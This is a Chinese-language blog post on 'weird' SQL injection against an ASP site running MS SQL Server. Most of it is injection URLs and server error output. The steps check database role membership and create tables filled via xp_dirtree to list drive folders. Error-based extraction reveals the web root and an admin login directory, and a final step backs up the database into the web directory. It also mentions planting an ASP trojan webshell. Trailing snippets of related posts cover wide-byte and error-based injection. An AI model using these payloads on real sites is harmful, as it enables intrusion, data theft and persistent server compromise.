怪異的SQL注入

2021-03-31 14:36:31 字數 3995 閱讀 4547

sql注入以獨特、新奇、變異的語句迎來了技術又一大突破,當然要針對奇、特這兩方面作文章,要達到一出奇招,必達核心!那才是sql注入技術的根本所在。長期以來,ms sql以它強大的儲存程序給我們帶來了極大的方便,而如今注入技術主要依靠iis出錯與ms sql系統提示資訊來判斷,那利用select構造特殊語句,使系統出錯來得到我們要的更深入的資訊,如爆庫、爆表等,能不能取得詳細資訊呢?答案是能,但必出奇招!下面我們一步步來拆解奇招!

首先開啟ms sql查詢分析器,輸入:

xp_dirtree適用許可權public

語句:exec master.dbo.xp_dirtree 'c:/'

返回的資訊有兩個欄位subdirectory、depth。subdirectory欄位是字元型,depth欄位是整形字段。想到了什麼?別急,我們繼續!

語句:create table dirs(paths varchar(100), id int)

語句:insert dirs exec master.dbo.xp_dirtree 'c:/'

作用:大家覺得奇怪吧?insert語句這樣是不是有問題呢?no!原理是只要我們建表與儲存程序返回的字段相定義相等就能夠執行!與常規insert table(coloumn) values(values)差別就是在此,values值我們無法放置儲存程序,利用簡寫:insert dirs exec master.dbo.xp_dirtree 'c:/',而達到寫表的效果——既然可以寫表,那我們就可利用未公開儲存程序來一步步達到我們想要的資訊!

語句:http://.***xx.***/down/list.asp?id=1'

返回:microsoft ole db provider for sql server 錯誤 '80040e14'

字串 '' 之前有未閉合的引號。

/down/list.asp,行21

測試許可權結構:

語句1:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('sysadmin'));--

語句2:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('serveradmin'));--

語句3:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('setupadmin'));--

語句4:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--

語句5:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('securityadmin'));--

語句6:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('diskadmin'));--

語句7:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--

語句8:http://.***xx.***/down/list.asp?id=1 and 1=(select is_srvrolemember('bulkadmin'));--

語句9:http://.***xx.***/down/list.asp?id=1 and 1=(select is_member('db_owner'));--

通過實際測試,只有db_owner語句正常返回資訊,可以確定連線資料庫擁有的許可權是db_owner(down資料庫所有者),跳過爆庫爆表步驟,以前黑防講得很清楚,大家可以翻看臭要飯的《跨庫查詢你想怎麼玩》,現在我們得到管理員的表和管理表資料,進一步得到許可權有兩種方法:意思爆出所有字段,取管理後台使用者密碼,難點在於找管理後台路徑,是個體力活;另乙個是通過backup直接上傳webshell,難點在於尋找web目錄。

手工猜解管理後台路徑的成功機率很低,要用xp_dirtree來得到我們想要的資訊,下面的方法或許要簡單一點!第一次公布出來,或許很多朋友在用,不過絕對非常好!我們把路徑寫到表裡去!

語句:http://http://.***xx.***/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--

返回:正常的資訊!說明建表成功!繼續!

語句:http://http://.***xx.***/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:/'--

返回:正常資訊。說明寫入c盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。

語句:http://http://.***xx.***/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:microsoft ole db provider for sql server 錯誤 '80040e07'

將 varchar 值 '@i***pub' 轉換為資料型別為 int 的列時發生語法錯誤。

再依次爆出表中的目錄名稱!

語句:http://http://.***xx.***/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@i***pub'))--

最後用同樣的方法測試得到網頁目錄放在e:/web下,得到網頁目錄後兩種選擇,一是進一步獲取**管理後台,另乙個是通過backup直接獲取webshell。監於bakcup獲取webshell的成功率並不是太高,我們先來猜猜它的管理後台吧!這裡要使用xp_dirtree,但是由於xp_dirtree是取得乙個硬碟分割槽的目錄樹,讓我們容易混亂,所以就來一層層得到下級目錄吧:

語句:http://http://.***xx.***/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--

語句:http://http://.***xx.***/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--

語句:http://http://.***xx.***/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--

經過反覆的爆欄位,最後爆到乙個***adminlogin目錄,一看就知道這個目錄可能就是我們夢寐以求的管理後台目錄!壓抑住自己的興奮!我們繼續:

語句:http://http://.***xx.***/down/***adminlogin/

顯示出登陸入口!good!哈哈,幸運啊!有使用者、密碼,有登陸url,還等什麼?進去瞧瞧……

xp_dirtree儲存程序返回的只是目錄樹,我們無法得到檔案樹。針對登陸入口在**根目錄下的情況,根本就無從下手,而且相對來說,得到的目錄資訊要根據人工去猜測判斷,所以要通過xp_dirtree取得管理後台的登陸入口有著很強判斷性,也是非常考個人思維的地方。

再來說說寫入asp木馬通過backup得到webshell或是直接備份當前擁有許可權的資料庫的辦法。寫入木馬使用臭要飯現成的getwebshell工具,很容易就得到乙個webshell,為了進一步取得會員資料,直接手工備份整個庫到網頁目錄也是個好的辦法!

語句:http://http://.***xx.***/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--

本文介紹是一種變異寫表方法,沒有多少技術含量,只是給大家提供一種構造語句的思路。本文針對**連線許可權不是資料庫伺服器角色組的成員,能為注入所利用的內建擴充套件儲存程序並不多,擴充套件的儲存程序涉及許可權比較高的使用者才能訪問,所以說乙個安全的**與管理者對許可權結構的合理分配是密不可分的,你注意到了嗎? 

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

sql中排序序號 怪異的排序

今天在群裡看到了這樣的乙個需求,如下圖所示,將圖中左邊的資料轉變成右邊的結果。咋一看,不就是先按姓名做排序,然後再分別對班組 機台號做排序麼。按這個思路寫出了 sql 表結構及資料在文末 得到的結果和預期的有點不一樣。select from weird order order by 姓名,班組,機台...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...